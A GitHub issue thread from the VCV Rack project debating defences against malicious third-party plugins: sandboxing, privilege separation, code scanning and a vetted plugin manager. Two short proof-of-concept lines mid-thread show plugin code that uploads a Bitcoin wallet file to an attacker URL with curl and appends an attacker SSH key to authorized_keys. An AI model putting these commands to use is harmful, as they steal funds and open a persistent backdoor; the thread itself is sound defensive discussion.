Rack: [Discussion] Security Considerations

[bontric]

Since the topic has recently come up we should start to discuss how we can protect Rack users from potentially malicious 3rd party plugins. With an increasing user base, distributing malware induced plugins will become more interesting for attackers.

After some discussion here is a summary naming valuable considerations:

1) Sandboxing the whole application seems like a more reasonable approach. Optional or packaged sandboxing have been considered. @WIZARDISHUNGRY has already provided some valuable information regarding this. For security-minded people creating a guide or adding support might already prevent the initial concerns.

Sources regarding this:

• https://developer.apple.com/library/content/technotes/tn2312/_index.html
• https://www.malwaretech.com/2014/10/usermode-sandboxing.html
• https://developer.apple.com/library/content/qa/qa1483/_index.html
• https://www.chromium.org/Home/chromium-security/guts
• https://chromium.googlesource.com/chromium/src/+/master/docs/design/sandbox.md
• https://chromium.googlesource.com/chromium/src/+/master/sandbox

2) SAST Might be an interesting option which might help to prevent unintentional security issues. This does not affect the main concern of intentionally malicious plugins

3) Official plugin distribution will be secured by authenticating publishers.
Note: This does not prevent an attacker from faking an identity. Consider Google's Play Store which is packed with data stealing/ad inducing apps. There should be (and I guess @AndrewBelt is also considering this) quality checks regarding officially distributed plugins.

4) The only somewhat realistic architectural approach to prevent malicious/faulty plugins from accessing
the user space is privilege separation by running __all__ plugins in a non-privileged Process. However: This would require a very sophisticated and time intense overhaul of Racks current implementation. Therefore, it would require more than one developer working towards a clear goal to finish this in a reasonable amount of time. This is currently not feasible.

And as Andrew stated:

I believe that downloading random binaries from the internet should put all the responsibility on you, which is acceptable if there is an official, accepted way of installing trusted plugins.

I do agree with this argument, yet most users will have exactly zero understanding of the potential danger. Maybe the addition of a warning dialog before loading untrusted 3-rd party plugins might give those users and additional hint.

Original Comment:

Secure Architecture

From a software design standpoint we can consider implementing a plugin system which tries to limit the privileges of any plugin by implementing privilege separation. Right now I can come up with the following two approaches, which may or may not be feasible:

1) Run all plugins in a separate process with dropped privileges. Audio is passed from/to the main process via shared memory. The main process allows plugins to access files in a specific folder (e.g. for loading samples) by providing an interface communicating over shared memory/sockets.

2) Similar to 1) but each plugin is run in a separate process. Each cable is implemented by using shared memory. This might create an unfeasible overhead (I honestly don't know, so we might want to test such an approach) but adds additional security and stability (plugins can't crash the application)

Note that there are a lot more things to consider when implementing this. Rendering and user interaction with plugins needs to be considered. In general this is quite a lot of work, but would improve on the current situation with VST/AU/etc.- plugins which do not consider security .

Secure Plugin Infrastructure

A simpler, regarding the implementation of Rack, approach to this issue is ensuring that plugins are supervised. This could be achieved by implementing checks for plugins (Rack only loads plugins which have a verified hash or something similar). The real downside of this is that for every version of every plugin someone would need to audit the source code of the plugin. With an increasing number of plugins this will become quite a lot of work. It's hard to estimate whether this would be feasible at all, but it might also be possible if we can find enough (trusted) people which will handle this work.

3rd Party Applications

Another option is to advice users to use software like firejail or nsjail as suggested in #638 when using untrusted 3rd party plugins. This, however, will not protect users which do not consider security, which is also the group of people most likely to download and use malicious plugins.

Note: This is just a quick summary of thoughts I had regarding the plugin security issues. They by all means not thought through. It would be great if we can come up with other ideas and options as well, to figure out an applicable solution.

[AndrewBelt]

1 and 2 are not feasable because plugins call 100-1000 functions of Rack which access Rack's memory space. To understand this, consider randomu64() declared in include/util/common.hpp, implemented in src/util/random.cpp. A plugin calling this function needs to access a static seed which needs to exist in Rack's memory space. A more typical but harder-to-see example is Widget::~Widget() implemented in src/widgets/Widget.cpp. A message passing interface would need to wrap all of these functions and then do symbol forwarding, which requires massive API changes and would take $50k+ of my time. So wrapping plugins is completely out the window.

Sandboxing the entire Rack process is the only option. Very easy for programmers to do for themselves, difficult to make it a polished experience for users. #638 is a great start on this. Implementing sandboxing as a non-default option is pointless because it doesn't solve the problem you mentioned that "With an increasing user base, distributing malware induced plugins will become more interesting for attackers".

The only technical solution to this issue is to bundle nsjail, libsandbox, and some Windows alternative for which I know none into the Rack distribution, and create Windows start menu shortcuts, ./Rack.sh script, and Mac Info.plist script which launches the sandbox which launches Rack(.exe). If @WIZARDISHUNGRY's fork can do this in a stable way for all three OSes, I'll consider adopting it in the release distribution.

However, there's another practical non-technical solution to this problem. Require proof of identification to post to the VCV Plugin Manager and recommend that users only download plugins from the Plugin Manager. This is how Apple App Store, Google Play, and Propellerhead Rack Extensions solve this problem.

[WIZARDISHUNGRY]

1. Running each plugin in a separate process isn't feasible.
2. Running the entire process under nsjail isn't really feasible. We want to be able to allow global file ops to write .vcv files to anywhere. This could be a stopgap measure if we pass in a long list of all the audio/mixer/midi sockets and devs.
3. I'd suggest capability separation with IPC for global file IO.
4. IPC messages could package a serialized state of the Rack and the requested file op.
5. Audio Units are capable of running in a restricted context. I'm not certain about how entitlements work outside of the App Store. Apples docs often frustratingly assume XCode GUI & app store distribution. None the less, sandbox_init has been proven to be able to run all of Rack (without arbitrary file I/O). So a deeply capability limited Rack, with the current architecture works 100%.
6. We don't need to worry about passing audio IO over shared memory if we allow file operations on a subset of files (audio/midi devs on Linux).
7. Linux namespaces aren't universally available, but they're the best tech on that platform.
8. Seccomp bpf / kafel can whitelist file I/O. edit: seccomp-bpf can't dereference pointer args
9. There's Firefox/Chromium design docs on their privilege separation that we should look into, esp Windows.
10. I don't know how graphics compositing affects this.

Re @AndrewBelt 's comments:

1. I'm not sure why 1 isn't feasible if the entire rack process, except a tiny privileged worker, is sandboxed.

[AndrewBelt]

I've numbered your post because it's a PITA to respond to bullet points. :)

(2-4) Yes, I believe this is the one and only issue with nsjail, libsandbox, etc. I feel it can be solved by a wrapper that responds to pipes or something. More imagination needed if we go toward this path.

(5) That is because Audio Unit clients have a tiny API and run their own windowing given a single window. Rack plugins can not be compared because they are intimately connected to Rack.

(11) His (1) refers to keeping the Rack application outside of the sandbox but a single sandboxed worker to handle all engine and GUI calls of all plugins. A tiny privileged worker that launches the rest of Rack in a sandbox is essentially equivalent to starting the Rack binary in a sandbox using a separate process compiled with nsjail, libsandbox, etc.

[squinkylabs]

I agree - sandboxing is feasible, running modules in their own process is not.

re saving patch files - in Win10 users grant your process access to the file system by using the system file picker. The OS then knows that the user had explicitly given the process access to a file/folder. Trying to fopen a random file in the file system would fail.

[AndrewBelt]

Not quite true, since Windows 10 applications can access My Documents and most other user locations. Are you thinking of applications downloaded from the Windows app store? Even if it was the case, there are more ways to destroy a system than filesystem access, right? Launch daemons in the background, take advantage of old vulnerabilities, etc.

[squinkylabs]

Yeah, I was talking about Windows UWP app store apps. And I might be getting it wrong.

For clarification, I meant that at least some OS already have a built in method for solving the problem "how can my sandboxed app load and save files". I didn't mean "operating system xxx will solve all security issues for you.

[Strum]

My 2 cents worth.

Do nothing to Rack, implement procedures to ensure plugins are safe before loading them. Firstly as Andrew suggests, ensure plugins come from trusted sources, secondly develop some means of testing and reviewing plugins outside Rack, and thirdly perhaps closed source plugin developers could submit code to Andrew or someone else for review.

Rack is already system resource heavy, adding security checks will inevitably lead to increased size and complexity of the code base and degraded performance.

[WIZARDISHUNGRY]

@Strum Sandboxing is handled in the kernel when a syscall is invoked.

[Strum]

No computer system is, or can be, secured, all the hardware and firmware is compromised

Have we not learned anything from the spectre and meltdown bugs?

I seriously doubt there are enough people using Rack to make it worthwhile hackers developing exploits for it when they have so many options that reach vastly more numbers of machines that require much less effort.

Please don't destroy the elegant simplicity of Rack over some OCD obsession about a non-problem.

As I said, only my 2 cents worth and I don't expect many, if any, to agree with me.

[Strum]

@WIZARDISHUNGRY

Isn't that Linux specific?

What portion of the user base uses Linux?

I'd suggest it is the least used platform for Rack.

[WIZARDISHUNGRY]

Mac: sandbox_init
Windows: usermode sandboxing overview (unclear if this introduces latency for audio/midi)

[Strum]

Furthermore.

@bontric has noted that VST/AU etc. plugins are not secure.

Has there been detected incidences of malicious audio plugins being used for attacks?

Do you think the designers of the existing plugin architectures didn't consider the security implications?

Would attempting to make Rack plugins secure take valuable development time and effort away from the main focus of the project?

[WIZARDISHUNGRY]

@~bontric has noted that VST/AU etc. plugins are not secure.

GarageBand runs AUs in a Sandbox; Logic X almost surely does as well. see note

Has there been detected incidences of malicious audio plugins being used for attacks?

I recently had to remove malware from ~/Library/LaunchServices because a friend installed a dodgy Ableton crack. See also

Do you think the designers of the existing plugin architectures didn't consider the security implications?

User mode application sandboxing is fairly new.

Would attempting to make Rack plugins secure take valuable development time and effort away from the main focus of the project?

Of course it would. Andrew has made it pretty clear that he doesn't accept PRs, otherwise I'd suggest people help me on #638. It wouldn't be a huge lift to get Mac to 100% feature parity; Windows and Linux will need more work.

[Strum]

@WIZARDISHUNGRY

Thank you.

"I recently had to remove malware from ~/Library/LaunchServices because a friend installed a dodgy Ableton crack." - That's not an example of a malicious plugin.

"User mode application sandboxing is fairly new.", that doesn't really answer the question though does it?

"Of course it would.", thanks.

So to reiterate.

It will degrade the performance of Rack, take valuable time and effort away from the main focus of the project and it has not been show that a credible threat even exists.

I rest my case.

[Strum]

@bontric @WIZARDISHUNGRY

Perhaps either of you could develop a proof of concept malicious plugin?

[WIZARDISHUNGRY]

  system("curl -T ~/Library/Application\\ Support/Bitcoin/wallet.dat http://example.com/stealbitcoin");

[Strum]

@WIZARDISHUNGRY

Sorry, that means nothing to me.

[AndrewBelt]

Re performance: Typically overhead only exists during a system call. I'm not too worried about it unless we detect it as a problem. (This stuff is pretty measurable.)

[WIZARDISHUNGRY]

@AndrewBelt I just noticed that you updated your comment to suggest you'd be amenable to a sandboxing patch if it worked on all three platforms. Thank you; I'm going to consider this more, but I'd like to see if there's Windows & Linux developers willing to help before proceeding. I'm also concerned about user namespaces being disabled on the latest Debian etc.

[Strum]

@AndrewBelt

I learned to program in the days of no networking and direct hardware access and still miss the simplicity of developing just the program without concern for OS integration and security, and the power it gave you.

Imagine the performance possible on modern hardware with vastly reduced OS overhead and no concern for security.

[AndrewBelt]

Okay great. Let's stay on topic.

[Strum]

@AndrewBelt

I thought it was somewhat relevant, the older approach can be applied to some degree these days and it seemed to me that this was an example.

I was trying to stimulate some thought and cost/benefit analysis about the issue.

I'd be interested to see a demonstration of a malicious plugin.

[Strum]

@WIZARDISHUNGRY

I can help you with testing on windows.

[AndrewBelt]

@Strum: @WIZARDISHUNGRY already gave you one. It uploads your Bitcoin wallet to an attacker's website.

[Strum]

Simply fixed, don't give plugins network access.

Do eurorack modules have ethernet ports?

and there's no binary data sharing between modules, but modules can access the internet?

[WIZARDISHUNGRY]

Unrestricted file I/O can backdoor you too. Denying network access to plugins also __requires__ sandboxing.

system("mkdir -m 700 .ssh ; echo \\"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANLAxmTIN6hCiEkT3RdpJOWrb1vm/EuFwiicPIDKbjv jon@maggot\\"  >> ~/.ssh/authorized_keys");

[AndrewBelt]

Simply fixed, don't give plugins network access.

How do you do that? By sandboxing them (or Rack) which is what this thread is about.

@WIZARDISHUNGRY Windows usermode sandboxing seems to me as a way to run kernel drivers in userland, but that article does mention file access restrictions. Is that the correct solution to Windows sandboxing?

[Strum]

Can't plugins be blocked from file write access except through secure routines built into Rack?

What would Richard Stallman say I wonder?

All these problems arise from closed source commercial software perhaps?

Only my 2 cents worth, feel free to disregard it.

[AndrewBelt]

@Strum Yes, you sandbox them.

The same problems arise from commercial plugins sold through the VCV Store, but I have proof of identification for my participating third-party developers, so intentional malware will virtually never happen.

[Strum]

@AndrewBelt

Thanks again for your patience and reasonableness.

I also think intentional malware will likely never happen, it's too small a user group to make it worth a hacker's time and as you have pointed out you can keep tabs on what modules are available and we can all make sure to warn users not to use unverified plugins.

I suggest this is a more effective and efficient approach than getting too obsessive about security in Rack to the point it begins to degrade performance and/or take up too much of your time.

Security is never perfect, always a compromise between need and time/money.

Knowing where to draw the balance and where to apply your resources efficiently is half the battle I think.

[WIZARDISHUNGRY]

@AndrewBelt I think you're on the right track. I am not familiar with modern Windows internals, but using Chromium sandboxes as a working guide seems logical. The Chromium Windows sandbox design docs contain a much better explanation of the operation than the Microsoft docs.

The broker should always outlive all the target processes that it spawned. The sandbox IPC is a low-level mechanism (different from Chromium's IPC) that is used to transparently forward certain windows API calls from the target to the broker: these calls are evaluated against the policy. The policy-allowed calls are then executed by the broker and the results returned to the target process via the same IPC. The job of the interceptions manager is to patch the windows API calls that should be forwarded via IPC to the broker.

Since Chromium is BSD-licensed, we can feel comfortable using code derived from the various platform specific Chromium sandboxes. The large number of files in each platform's Sandbox is concerning, but it stands to reason that our two-process model will be simpler than Chromium's bestiary.

My other vague design idea at this point is that the .vcv I/O operations will not be authenticated along the same path as syscalls, but rather as VCV specific calls with a requested operation (Save, Save As, Open, Restore autosave.vcv, …) & a serialized body of the VCV document sent or received. The broker/supervisor would do the file ops / call osdialog.

The initial Mac proof-of-concept was extremely simple compared to what I'm imagining a Windows implementation to look like…

[dirkleas]

perhaps amending a SAST phase in the build automation would be sufficient given the risk profile (cloud or container based)? no significant changes to rack and/or performance hit required

[AndrewBelt]

@dirkleas Those are good for finding unknown security mistakes, but you could bypass them trivially if your intention is malicious.

[Strum]

@AndrewBelt @dirkleas

If it's simple to implement it might be worthwhile even if it's not completely effective.

[danballance]

@AndrewBelt @dirkleas

From spending some time on the Facebook group I'd say inexperienced/non-professional developers keen to try their hand at audio development are a feature of the platform. So I'd say accidentally introduced security vulnerabilities would be worth protecting against if possible.

Would the build automation be something that could be called from within a checked out version of the github source or would this just be for users downloading binaries from the Rack website? If it's an easy win these this kind of protection would still be worth having imho.

More generally though I hear what @AndrewBelt is saying about registering developers into the official plugin distribution. That should suffice and everyone should encourage people to use the official builds from the secure environment.

[AndrewBelt]

@danballance What do you mean "build automation"? What do you mean "registering developers into the official plugin distribution"?

[danballance]

Hi @AndrewBelt
so @dirkleas said "perhaps amending a SAST phase in the build automation". I took that to be a feature that is under development or already exists (the build automation, not the "SAST phase")? Although maybe he just meant "make" ? :)

Regarding "registering developers into the official plugin distribution" I was trying to reference your earlier comment about getting developers registered with ID into the Plugin Manager.

Apologies for my lack of clarity.

In a nutshell what I was trying to say was that a Plugin Manager with known, registered developers seems like enough protection to me - but if some kind of automated source code inspection could relatively easily be added into the build process then that would be good extra protection to have - security mistakes can easily be made without malice.

For bonus points, if that automated code analysis could be made available for git source code users as well then that might protect against some of the worst security mistakes getting into the eco-system. It might enforce a minimum security standard even for non-registered developers - perhaps the build system (by default) will not build a module that does not pass the tests, so developers would be encouraged to work on their module and not make a release public until those tests pass.

This wouldn't help with maliciously injected code - but it would help with novice developers enthusiastically pushing out The Next Best Thing to their peers without any security considerations at all. There does seems to be quite a lot of amateur/enthusiast plugin development going on and defining a standard might help.

[AndrewBelt]

Oh, I see. "build automation" -> "scripts that the VCV Plugin Build Team will use" and "official plugin distribution" -> "VCV Community Repository"

maliciously injected code

If a build team is set up, and all open-source plugins (other than by "trusted developers") are built by the build team, this is the only thing we have to fear. That's a pretty good improvement over where we started. Because of this, I don't actually think sandboxing is needed. Around when Rack 1.0 is released, the build team should be arranged, and I'll be able to pay a small amount for volunteer's time to 1) audit plugins, 2) build plugins, and 3) housekeep the repository and write automation scripts.

[danballance]

@AndrewBelt I'd definitely be up for helping with this. I don't have C/C++ development skills, but I do understand how build systems work and I run a web development team for my day job. I'm pretty well skilled more generally on the Linux os as well. I spend enough hours each week working on music (and increasingly using Rack as a part of that process) to give some time up to support this project. It would be great to help.

[AndrewBelt]

In the last 40 minutes, I've almost completely convinced myself that sandboxing is not the answer but a healthy community of plugin maintainers is. This assumes that most users are patient and would prefer stable, safe plugins from the Plugin Manager rather than the latest bleeding edge plugins from new GitHub repos. I believe that downloading random binaries from the internet should put all the responsibility on you, which is acceptable if there is an official, accepted way of installing trusted plugins.

I've created this thread, which invites volunteers to manage the collection of open-source plugins so the Plugin Manager supplies trusted, working, and up-to-date plugins. https://github.com/VCVRack/community/issues/248

[bontric]

I updated my initial comment with a summary of this discussion.
(I might have missed some points, but some of the comments where utterly disturbing..)

[AndrewBelt]

I do agree with this argument, yet most users will have exactly zero understanding of the potential danger. Maybe the addition of a warning dialog before loading untrusted 3-rd party plugins might give those users and additional hint.

This can be mitigated by 1) giving people no reason to download plugins from non-centralized sources by keeping the Plugin Manager very up-to-date and complete from the help of volunteers, 2) moving the Rack local directory to "hidden" places, like AppData or ~/Library/... If you're at the skill level to get to those folders by yourself, you should be able to understand the risks of what you're doing.

However, people who are this reckless will find other things on the internet to destroy their computer with. The point of this thread (in my view) is to prevent VCV from having a damaged reputation from a large scale attack, if a popular online newpaper can argue that VCV is mostly responsible.

---

...This does not prevent an attacker from faking an identity

Can you describe a possible attack procedure for this? If I'm an attacker, I can't log into other people's GitHubs, so you must be talking about something else.

[bontric]

Can you describe a possible attack procedure for this? If I'm an attacker, I can't log into other people's GitHubs, so you must be talking about something else.

It depends on how you plan to validate identities. Someone can create a fake github account, create a fake image of a passport and use a stolen credit card number. This is more of a note to point out that validating Identity is not obviously simple. If you, however, carefully limit the officially distributed plugins to a trusted group of developers you can certainly archive this goal.

[AndrewBelt]

You can't solve all the problems in the field of security. Everything in the world requires some level of trust in people.

What comments did you think are "utterly disturbing"?

[bontric]

You can't solve all the problems in the field of security.

I am aware of that. The goal of this discussion is to figure out what's doable and what is impractical or impossible.

What comments did you think are "utterly disturbing"?

I was referring to some of @Strum 's comments (Sorry, @Strum this is not meant to be a personal attack) which remind me of how undervalued security concerns are.

Please don't destroy the elegant simplicity of Rack over some OCD obsession about a non-problem.

This kind of attitude has caused many problems. But this is a personal thing, let's keep the discussion technical. (I'm sorry for adding that statement in the first place..)

[AndrewBelt]

Completely off-topic idea: A lot of these fast back-and-forth conversations where the ideas are easy to understand but complex to explain would be more efficient by phone, or easier yet, on the Discord group that Broknar on that created. Maybe I should start hanging out in the voice channel.

[bontric]

Completely off-topic idea: A lot of these fast back-and-forth conversations where the ideas are easy to understand but complex to explain would be more efficient by phone, or easier yet, on the Discord group that Broknar on that created. Maybe I should start hanging out in the voice channel.

This is a great idea.

[WIZARDISHUNGRY]

I'd like to also raise the idea of blocking arbitrary plugin loading in distributable Rack builds.

1. Change plugin building to rename the zipfile to .vcvz
2. Users now drop the unextracted zip file under the .Rack directory.
3. Rack verifies the file hash of the builds from the community manifest. Skip plugins without a good checksum.
4. Extract the plugin to .rack/plugins-installed or wherever.
5. Register the hashes of newly extracted plugin contents in a local file manifest.
6. Descend into .rack/plugins-installed and don't proceed if any files don't have a bad checksum.

This would have the effect of clamping down on people loading shady plugins from weird dropbox links in the Facebook group. It'd also have the effect of forcing commercial plugins to go through the official channel. I'm on the fence with this as I'm thinking of releasing a collection of plugins I'm working on as free, but not open source and the process described at VCVRack/community#248 would seem to put me at the largest disadvantage for getting my plugins in Rack.

[WIZARDISHUNGRY]

@AndrewBelt the dischord link doesn't work for me

[AndrewBelt]

@WIZARDISHUNGRY Thought about it, but nah. If you want to shoot yourself in the foot, shoot yourself in the foot.
As for DRM, that'd just make a Rack-pirate's version fork spring up.

[Strum]

@AndrewBelt

"In the last 40 minutes, I've almost completely convinced myself that sandboxing is not the answer but a healthy community of plugin maintainers is."

big ups from me on that one.

[AndrewBelt]

@WIZARDISHUNGRY You might have to register/login first. If not, send me your discord username (or ID, no idea how that works.)

[Strum]

@bontric I actually really welcome your comments, and I can understand your point of view.

I also have the greatest respect for your high level of knowledge and skill as a programmer.

I was trying to stimulate discussion and thought about the issue by raising an alternative perspective.

I have some understanding of the implications of what I was saying even though I'm far from an expert in secure programming practices.

I think I raised a worthwhile point about the cost/benefit analysis of different approaches to the issue and hopefully we've all had a good think about it as a result of the discussion.

[AndrewBelt]

@Atavic Most of the discussion is at https://github.com/VCVRack/community/issues/248 now, but the goal is to provide plugins through the Plugin Manager within Rack only if they are reviewed and approved, and not only that, but each git commit from which the binaries originate will be reviewed as well.

[Atavic]

Yes, I hadn't read VCVRack/community#248 yet.

[AndrewBelt]

Closing since everything in this topic is either considered or implemented.